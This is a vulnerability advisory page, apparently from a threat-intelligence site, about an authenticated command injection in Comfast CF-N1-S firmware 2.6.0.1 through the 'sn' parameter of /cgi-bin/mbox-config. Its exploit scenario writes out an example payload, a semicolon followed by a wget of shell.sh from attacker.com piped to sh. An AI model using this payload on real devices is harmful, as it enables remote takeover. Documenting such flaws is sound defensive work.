Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
OS command injection yields full device control (S:C, C/I/A:H); PR:L reflects the authenticated access requirement confirmed by the CVSS 4.0 vector.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
A flaw has been found in Comfast CF-N1-S 2.6.0.1. This impacts the function sprintf of the file /cgi-bin/mbox-config?method=SET§ion=ptest_sn. Executing a manipulation of the argument sn can lead to command injection. The attack can be launched remotely. The exploit has been published and may be used.
AnalysisAI
Command injection in the Comfast CF-N1-S firmware 2.6.0.1 CGI management interface allows remote low-privileged attackers to execute arbitrary OS commands by manipulating the 'sn' parameter in the /cgi-bin/mbox-config endpoint. The root cause is unsafe use of sprintf in the CGI handler that incorporates attacker-controlled input directly into a shell command without sanitization or escaping. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the attacker to hold low-privilege authenticated access to the Comfast CF-N1-S management interface (confirmed by PR:L in the CVSS 4.0 vector). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The published CVSS 4.0 score of 2.1 is strikingly inconsistent with the nature of this vulnerability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with valid low-privilege credentials to the Comfast CF-N1-S web management interface sends a crafted HTTP GET or POST request to /cgi-bin/mbox-config?method=SET§ion=ptest_sn with a malicious 'sn' value containing shell metacharacters - for example, appending a semicolon followed by a command such as 'wget attacker.com/shell.sh|sh'. The sprintf call constructs a command string incorporating this unsanitized input, causing the underlying system() or popen() call to execute the injected command with device OS privileges. … |
| Remediation | No vendor-released patch has been identified at time of analysis - all references point to VulDB disclosures and a researcher-published PDF with no corresponding Comfast firmware update or advisory found. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Remote command injection in Comfast CF-N1-S firmware 2.6.0.1 allows a low-privilege authenticated attacker to execute ar
Stack-based buffer overflow in the Comfast CF-N1-S 2.6.0.1 web management interface enables remote code execution via th
Stack-based buffer overflow in the Comfast CF-N1-S firmware version 2.6.0.1 allows remote attackers with low-privilege w
Stack-based buffer overflow in Comfast CF-N1-S firmware 2.6.0.1 allows authenticated remote attackers to execute arbitra
Remote unauthenticated stack-based buffer overflow in the Comfast CF-N1-S wireless device (firmware 2.6.0.1) lets attack
Command injection in COMFAST CF-N1-S firmware 2.6.0.1 allows remote authenticated attackers to execute arbitrary OS comm
Command injection in the Comfast CF-N1-S router version 2.6.0.1 allows an authenticated remote attacker to execute arbit
Same weakness CWE-77 – Command Injection
View allSame technique Command Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-63479
GHSA-m27q-v5c6-r932